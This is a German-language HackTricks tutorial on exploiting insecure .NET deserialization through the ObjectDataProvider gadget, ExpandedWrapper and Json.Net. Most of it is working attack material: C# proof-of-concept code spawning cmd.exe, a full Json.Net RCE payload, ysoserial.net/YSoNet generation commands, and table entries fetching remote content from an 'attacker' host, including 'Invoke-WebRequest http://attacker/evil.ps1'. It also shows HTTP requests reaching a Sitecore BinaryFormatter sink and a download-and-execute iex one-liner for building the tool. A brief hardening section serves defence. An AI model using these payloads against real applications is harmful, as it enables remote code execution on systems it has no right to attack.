Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper, und Json.Net)
Reading time: 10 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dieser Beitrag widmet sich dem Verständnis, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erhalten, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.
ObjectDataProvider Gadget
Aus der Dokumentation: die ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu kapseln, MethodParameters zu verwenden, um beliebige Parameter zu setzen, und anschließend MethodName zu verwenden, um eine beliebige Funktion des Objekts mit den angegebenen Parametern aufzurufen.
Daher wird das beliebige Objekt während der Deserialisierung eine Funktion mit Parametern ausführen.
Wie ist das möglich
Der Namespace System.Windows.Data, zu finden in der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
Mit dnSpy können Sie den Code der Klasse, die uns interessiert, inspizieren. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Wie Sie sehen können, wird beim Setzen von MethodName
base.Refresh()
aufgerufen. Schauen wir uns an, was das macht:
Ok, sehen wir uns weiter an, was this.BeginQuery()
macht. BeginQuery
wird von ObjectDataProvider
überschrieben und das ist, was es tut:
Beachte, dass am Ende des Codes this.QueryWorke(null)
aufgerufen wird. Schauen wir, was das ausführt:
Beachte, dass dies nicht der komplette Code der Funktion QueryWorker
ist, aber es zeigt den interessanten Teil: Der Code ruft this.InvokeMethodOnInstance(out ex);
auf; dies ist die Zeile, in der das Methoden-Set aufgerufen wird.
Wenn Sie überprüfen möchten, dass allein das Setzen von MethodName dazu führt, dass es ausgeführt wird, können Sie diesen Code ausführen:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Beachte, dass du als Referenz C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll hinzufügen musst, um System.Windows.Data
zu laden.
ExpandedWrapper
Beim Einsatz des vorherigen Exploits gibt es Fälle, in denen das object als eine ObjectDataProvider-Instanz deserialisiert wird (zum Beispiel beim DotNetNuke vuln, mit XmlSerializer wurde das object mittels GetType
deserialisiert). Dann besteht no knowledge of the object type that is wrapped in der ObjectDataProvider-Instanz (z. B. Process
). You can find more information about the DotNetNuke vuln here.
Diese Klasse erlaubt es, die Objekttypen der Objekte, die in einer Instanz gekapselt sind, anzugeben. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp zu kapseln und die Eigenschaften bereitzustellen, die wir benötigen (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters).
Das ist sehr nützlich für Fälle wie den zuvor dargestellten, denn wir können das ObjectDataProvider in eine ExpandedWrapper-Instanz einbetten und beim Deserialisieren wird diese Klasse das OjectDataProvider Objekt erstellen, das die in MethodName angegebene Funktion ausführen wird.
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Auf der offiziellen Webpage wird angegeben, dass diese Bibliothek ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider gadget deserialisieren könnten, könnten wir allein durch das Deserialisieren eines Objekts eine RCE auslösen.
Json.Net example
Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisiert/deserialisiert:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusing Json.Net
Mit ysoserial.net habe ich den Exploit erstellt:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In diesem Code kannst du den Exploit testen, führe ihn einfach aus und du wirst sehen, dass calc ausgeführt wird:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Die ObjectDataProvider + ExpandedWrapper-Technik, die oben eingeführt wurde, ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET-Deserialisierung durchführt. Moderne Red‑Team-Tools wie YSoNet (und das ältere ysoserial.net) automatisieren die Erstellung von sofort einsetzbaren bösartigen Objektgraphen für Dutzende von Gadgets und Serialisierungsformaten.
Unten steht eine komprimierte Referenz der nützlichsten Chains, die mit YSoNet ausgeliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Erzeugung der Payloads.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Beschädigt den DelegateSerializationHolder -Eintrag, sodass der Delegate nach der Materialisierung auf jede vom Angreifer bereitgestellte Methode zeigt (z. B. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Nutzt System.Workflow.ComponentModel.ActivitySurrogateSelector , um die .NET ≥4.8 Typ‑Filterung zu umgehen und direkt den Konstruktor einer angegebenen Klasse aufzurufen oder eine C#-Datei on‑the‑fly zu kompilieren | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Nutzt die legacy XML-Darstellung von System.Data.DataSet , um beliebige Typen zu instanziieren, indem die <ColumnMapping> / <DataType> -Felder gefüllt werden (optional mit gefälschter Assembly via --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Auf WPF-fähigen Laufzeiten (> .NET 5) ketten sich Property-Getter bis zu System.CodeDom.Compiler.CompilerResults , und dann wird eine DLL, die mit -c angegeben wurde, kompiliert oder geladen | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (Überblick) | Verwendet WPF System.Windows.Data.ObjectDataProvider , um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische --xamlurl -Variante hinzu, um das bösartige XAML remote zu hosten | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Betten ScriptBlock in ein System.Management.Automation.PSObject ein, das beim Deserialisieren in PowerShell ausgeführt wird | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Alle Payloads werden standardmäßig an stdout ausgegeben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, Base64-Encoder, HTTP-Clients).
Building / Installing YSoNet
Falls keine vorkompilierten Binärdateien unter Actions ➜ Artifacts / Releases verfügbar sind, richtet der folgende PowerShell-Einzeiler eine Build‑Umgebung ein, klont das Repository und kompiliert alles im Release-Modus:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Die kompilierte ysonet.exe
befindet sich dann unter ysonet/bin/Release/
.
Erkennung & Härtung
- Erkennen Sie unerwartete Kindprozesse von
w3wp.exe
,PowerShell.exe
oder jedem Prozess, der nutzerübermittelte Daten deserialisiert (z. B.MessagePack
,Json.NET
). - Aktivieren und erzwingen Sie Type-Filtering (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.), wann immer der veralteteBinaryFormatter
/NetDataContractSerializer
nicht entfernt werden kann. - Soweit möglich auf
System.Text.Json
oderDataContractJsonSerializer
mit whitelist-basierten Konvertern migrieren. - Blockieren Sie das Laden gefährlicher WPF-Assemblies (
PresentationFramework
,System.Workflow.*
) in Webprozessen, die diese niemals benötigen sollten.
Praxisbeispiel (Sink): Sitecore convertToRuntimeHtml → BinaryFormatter
Ein praktischer .NET-Sink, erreichbar in authentifizierten Sitecore XP Content Editor-Flows:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
kapseltnew BinaryFormatter().Deserialize(...)
. - Trigger-Pfad: Pipeline
convertToRuntimeHtml
→ConvertWebControls
, die nach einem Geschwisterelement mitid="{iframeId}_inner"
sucht und einvalue
-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird als string gecastet und in das HTML eingefügt.
Minimales End‑to‑End (authentifiziert):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen werden während der Deserialisierung ausgeführt). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.
Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:
Referenzen
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.